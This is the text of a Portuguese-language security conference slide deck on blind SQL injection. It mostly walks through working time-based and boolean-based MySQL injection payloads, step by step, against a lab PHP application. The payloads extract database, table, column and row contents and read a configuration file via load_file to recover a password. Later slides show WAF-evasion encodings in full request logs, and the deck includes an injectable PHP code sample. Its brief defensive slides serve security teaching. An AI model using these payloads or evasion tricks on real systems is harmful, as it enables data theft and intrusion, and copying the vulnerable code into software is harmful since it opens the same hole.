Date post: | 23-Jan-2017 |
Category: |
Technology |
Upload: | flavio-kazuo-shiga |
View: | 534 times |
Download: | 0 times |
O MAIOR EVENTO BRASILEIRO DE HACKING, SEGURANÇA E TECNOLOGIA
Blind SQL InjectionAmeaça Oculta - do Ataque a Defesa
3
• Gerente de Serviços iBLISS
• Professor de Segurança da Informação
• Consultor de TI/SI +11 anos
• ISO/IEC 27001 LA, ISFS, ITIL, Cobit, MCSO e Cisco (5)
• Pesquisador de vulnerabilidades/fraudes (Aplicações Web)
• Algumas palestras:
– Roadsec Natal/BH/SP
– BHACK e H2HC
– Mind the Sec e Cyber Security Meeting
– 5th Infosec Week & Cyber Bootcamp
FLÁVIO K. SHIGA
01/05/2023 4
Agenda
Blind SQL Injection
• Ataque manual
• Métodos de Proteção
• Métodos de Evasão
Framework - Aplicações Web
01/05/2023 5
Imagine um mundo onde...
01/05/2023 6
01/05/2023 7
01/05/2023 8
9
BLIND SQL INJECTIONATAQUE MANUAL
01/05/2023
10
MySQL
APP Web - PHP
Cenário
01/05/2023
11
POST X GETEnvio via GET
http://192.168.100.108/Teste/SLVEDTFAB.php?id=68&FABDSC=FA3&Submit=Salvar
01/05/2023
12
POST X GETEnvio via POST
http://192.168.100.108/Teste/SLVEDTCLI.php
01/05/2023
13
Blind SQL InjectionAplicação Web PHP
EDTCLI.php
$id2 = $_GET["id"];Abre_Conexao();$re = mysql_query("select count(*) as total from CLI where CLICOD =
$id2");$total = mysql_result($re, 0, "total");if($total == 1)
{$re = mysql_query("select * from CLI where CLICOD = $id2");$dados = mysql_fetch_array($re);}
01/05/2023
14
Blind SQL InjectionTime Based X Boolean Based
Time Based• Baseado em tempo (delay)• Latência de rede pode impactar a análise• As ferramentas automatizadas testam diferentes tempos, para garantir que a
aplicação é vulnerável. Acunetix 9.5 if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if (now()=sysdate(),sleep(6),0))OR"*/ SQLMAP
Boolean Based• Baseado em resultados verdadeiros e falsos.
• 1+and+if(now()=sysdate(),sleep(6),0)• 1+and+now()=sysdate()
01/05/2023
01/05/2023 15
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
16
Blind SQL InjectionInstrução SQL – Time Based
Identificando o DATABASE
1+and+if(mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+limit+20
0,1),1,1)=0x4c,sleep(5),0)
01/05/2023
17
Blind SQL InjectionInstrução SQL – Time Based
01/05/2023
18
Blind SQL InjectionInstrução SQL – Time Based
01/05/2023
19
Blind SQL InjectionInstrução SQL – Time Based
01/05/2023
20
• 1 and ... X 345 or ...Obs: Dependendo da quantidade dos registros o
uso do OR pode interferir na resposta• Utilize o símbolo + onde existir espaço
OBS: O Chrome coloca o símbolo %20 automaticamente• Utilize valores em hexadecimal (0x...) ao invés de
texto ASCII
Blind SQL InjectionInstrução SQL – Observações
01/05/2023
21
Time Based1+and+if(mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+limit+200,1),1,1)=0x4c,sleep(5),0)
Boolean Based1+and+mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+limit+200,1),1,1)=0x4c
MySQLSELECT mid((select TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS limit 200,1),1,1);
Blind SQL InjectionIdentificar Database
200,1),1,1)=0x4c ->L
200,1),2,1)=0x41 ->A
200,1),3,1)=0x42 ->B
200,1),4,1)=0x45 ->E
200,1),5,1)=0x4e ->N
200,1),6,1)=0x47 ->G
01/05/2023
01/05/2023 22
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
LABENG
23
Time Based1+and+if(mid((SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_schema=0x4c4142454e47+limit+0,1),1,1)=0x41,sleep(5),0)
MySQLselect mid((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema=0x4c4142454e47 limit 0,1), 1,1);
Blind SQL InjectionIdentificar Tabela
0,1), 1,1) = 0x41 -> A
0,1), 2,1) = 0x54 -> T
0,1), 3,1) = 0x56 -> V
01/05/2023
01/05/2023 24
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
LABENG ATV
01/05/2023 25
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
LABENG PES*
* Identifiquei outra Tabela
26
Time Based1+and+if(mid((SELECT+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_schema=0x4c4142454e47+and+TABLE_NAME=0x504553+limit+0,1),1,1)=0x50,sleep(5),0)
MySQLselect mid((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema=0x4c4142454e47 and TABLE_NAME=0x504553 limit 0,1), 1,1);
Blind SQL InjectionIdentificar Coluna (Tabela PES)
0,1) 1,1) = 0x50 -> P
0,1) 2,1) = 0x45 -> E
0,1) 3,1) = 0x53 -> S
0,1) 4,1) = 0x43 -> C
0,1) 5,1) = 0x4f -> O
0,1) 6,1) = 0x44 -> D
01/05/2023
01/05/2023 27
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
LABENG PES PESCOD
01/05/2023 28
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
LABENG PES PESDSC*
* Identifiquei outra Coluna
29
Time Based1+and+if(mid((SELECT+PESDSC+from+LABENG.PES+limit+0,1),1,1)=0x61,sleep(5),0)
MySQLselect mid((SELECT PESDSC from LABENG.PES limit 0,1), 1,1);
Blind SQL InjectionIdentificar Conteúdo da Tabela
1,1) = 0x61 -> a
2,1) = 0x64 -> d
3,1) = 0x6d -> m
4,1) = 0x69 -> i
5,1) = 0x6e -> n
01/05/2023
01/05/2023 30
Identificar
Database
Identificar Tabela
Identificar Colunas
Identificar
Conteúdo
LABENG PES PESCDSC admin
01/05/2023 31
O que mais podemos analisar?
32
Time Based1+and+if(mid(load_file(0x2f7661722f7777772f54657374652f636f6e6669672e706870),75,1)=0x53,sleep(5),0)
MySQLselect mid(load_file(0x2f7661722f7777772f54657374652f636f6e6669672e706870),75,10);
0x2f7661722f7777772f54657374652f636f6e6669672e706870 = /var/www/Teste/config.php
Blind SQL InjectionO que mais podemos analisar?
75,1) = 0x53 -> S
76,1) = 0x45 -> E
77,1) = 0x4e -> N
78,1) = 0x48 -> H
79,1) = 0x41 -> A
01/05/2023
33
BLIND SQL INJECTIONPROTEÇÃO
01/05/2023
01/05/2023 34
$id2 = preg_replace('/[^[:alpha:]_]/', '',$_POST[‘id']);
ProteçãoDesenv. Seguro (Validação de dados de entrada)
$id2 = $_GET["id"];Abre_Conexao();$re = mysql_query("select count(*) as total from CLI where CLICOD =
$id2");$total = mysql_result($re, 0, "total");if($total == 1)
{$re = mysql_query("select * from CLI where CLICOD = $id2");$dados = mysql_fetch_array($re);}
01/05/2023 35
ProteçãoWAF – Web Application Firewall
01/05/2023 36
Estamos seguros agora?
01/05/2023 37
URL Encoded192.168.1.34 - - [22/Apr/2014:03:35:24 -0300] "GET /Teste/header.swf HTTP/1.1" 2 00 94621 "http://192.168.1.106/Teste/EDTTIPREC.php?id=1%20%61%6e%64%20%6d%69%64%28%28%73%65%6c%65%63%74%20%70%65%73%64%73%63%20%66%72%6f%6d%20%4c%41%42%45%4e%47.%50%45%53%20%6c%69%6d%69%74%200%2C1%29%2C1%2C1%29%3D0x61" "Mozilla/5.0 (Window s NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Saf ari/537.36"
Métodos de evasão
1%20%61%6e%64%20%6d%69%64%28%28%73%65%6c%65%63%74%20%70%65%73%64%73%63%20%66%72%6f%6d%20%4c%41%42%45%4e%47.%50%45%53%20%6c%69%6d%69%74%200%2C1%29%2C1%2C1%29%3D0x61
%28 (%29 )%2C ,%3D =%61 a...
01/05/2023 38
Sequência de Strings (Comentário)192.168.1.34 - - [22/Apr/2014:04:51:46 -0300] "GET /Teste/EDTTIPREC.php?id=1%23%0A+--%0Aand+%23comentario%0Amid%28%28/**/SELECT/**/+/**/PESDSC/**/+/**/FROM/**/+/**/LABENG.PES/**/+/**/LIMIT/**/+/**/0%2C1%29%2C1%2C1%29%3D0x61 HTTP/1.1" 200 1844 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"
/**/--%23 #%0a (nova linha)
Métodos de evasão
01/05/2023 39
Técnicas de Espaço192.168.43.168 - - [22/Apr/2014:00:13:28 -0300] "GET /Teste/header.swf HTTP/1.1" 304 - "http://192.168.43.79/Teste/EDTTIPREC.php?id=1%0aand%0amid%28%28SELECT%0aPESDSC%0aFROM%0aLABENG.PES%0aLIMIT%0a0%2C1%29%2C1%2C1%29%3D0x61" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"
+ (espaço)%20 (espaço)%0a (nova linha)
Métodos de evasão
01/05/2023 40
E se misturarmos tudo?
01/05/2023 41
192.168.43.168 - - [22/Apr/2014:00:30:37 -0300] "GET /Teste/EDTTIPREC.php?id=1%2F%2A%2A%2F%0a%2F%2A%2A%2F%61%6e%64%2F%2A%2A%2F%0a%6d%69%64%28%28%73%65%6c%65%63%74%0a%70%65%73%64%73%63%0a%66%72%6f%6d%0a%2F%2A%2A%2F%4c%41%42%45%4e%47.%50%45%53%2F%2A%2A%2F%0a%2F%2A%2A%2F%6c%69%6d%69%74%2F%2A%2A%2F%0a0%2C1%29%2C1%2C1%29%3D%2F%2A%2A%2F0x61%2F%2A%2A%2F%2F%2A%2A%2F HTTP/1.1" 200 1823 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"
%0a (nova linha)/**/ %2F%2A%2A%2F%28 (%29 )%2C ,%3D =...
1/**//**/and/**/mid((selectpesdscFROM/**/LABENG.PES/**//**/LIMIT/**/0,1),1,1)=/**/0x61/**//**/
Métodos de evasão
01/05/2023 42
Métodos de evasãoNão podemos bloquear o símbolo %
01/05/2023 43
Como garantir a segurança das informações nas Aplicações Web?
01/05/2023 44
Framework
Aplicações Web
Desenv. Seguro WAF Monitoração Gestão de
Vulnerabilidades